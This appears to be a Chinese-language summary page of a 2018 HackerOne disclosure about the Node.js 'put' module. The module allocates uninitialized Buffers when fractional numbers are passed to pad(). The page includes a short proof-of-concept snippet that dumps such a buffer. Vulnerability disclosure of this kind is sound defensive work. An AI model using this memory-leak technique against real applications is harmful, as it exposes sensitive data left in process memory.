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地图 / `put` allocates uninitialized Buffers when non-round numbers are passed in input

`put` allocates uninitialized Buffers when non-round numbers are passed in input

内存破坏 / 越界读 / #321702

厂商
Node.js third-party modules
严重程度
低危 · CVSS 1.8
赏金
—
弱点
越界读
研究员
@chalker
披露日期
2018-06-14
资产
Other module
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1622 字符中的一小部分)
I would like to report an uninitialized Buffer allocation issue in `put`. It allows to extract sensitive data from uninitialized memory by passing in non-round numbers, in setups where typed user input can be passed (e.g. from JSON).
原文中的代码
var Put = require('put');
var buf = Put().pad(0.99).pad(0.99).pad(0.99).pad(0.99).pad(0.99).buffer();
console.log(buf);

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有

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